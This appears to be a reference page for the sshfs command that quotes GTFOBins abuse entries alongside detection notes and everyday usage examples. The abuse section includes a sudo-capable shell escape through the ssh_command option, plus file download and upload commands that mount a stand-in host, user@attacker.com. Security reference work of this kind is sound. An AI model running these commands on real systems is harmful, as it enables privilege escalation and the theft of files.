Identifier / Programs / Linux and Unix
sshfs
Filesystem client based on SSH. tldr-pages
GTFOBins command, shell 1 ATT&CK technique 4 documented commands
How sshfs is abused
command
-oshell T1059.004 Command and Scripting Interpreter: Unix Shell
-oEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for sshfs.
4 documented commands
command unprivileged, with sudo
sshfs -o ssh_command=/path/to/command x: /path/to/dir/download unprivileged
sshfs user@attacker.com:/ /path/to/dir/
cp /path/to/dir/path/to/input-file /path/to/output-fileshell unprivileged, with sudo
The mount dir must be writable by the invoking user.
echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file
chmod +x /path/to/temp-file
sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/upload unprivileged
sshfs user@attacker.com:/ /path/to/dir/
cp /path/to/input-file /path/to/dir/None of the 4 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for sshfs. The identifier reads the line of each that runs sshfs.
What detects it
Everyday use
Mount remote directory
sshfs username@remote_host:remote_directory path/to/mount_pointIdentifyUnmount remote directory
umount path/to/mount_pointIdentifyMount remote directory from server with specific port
sshfs username@remote_host:remote_directory -p 2222IdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.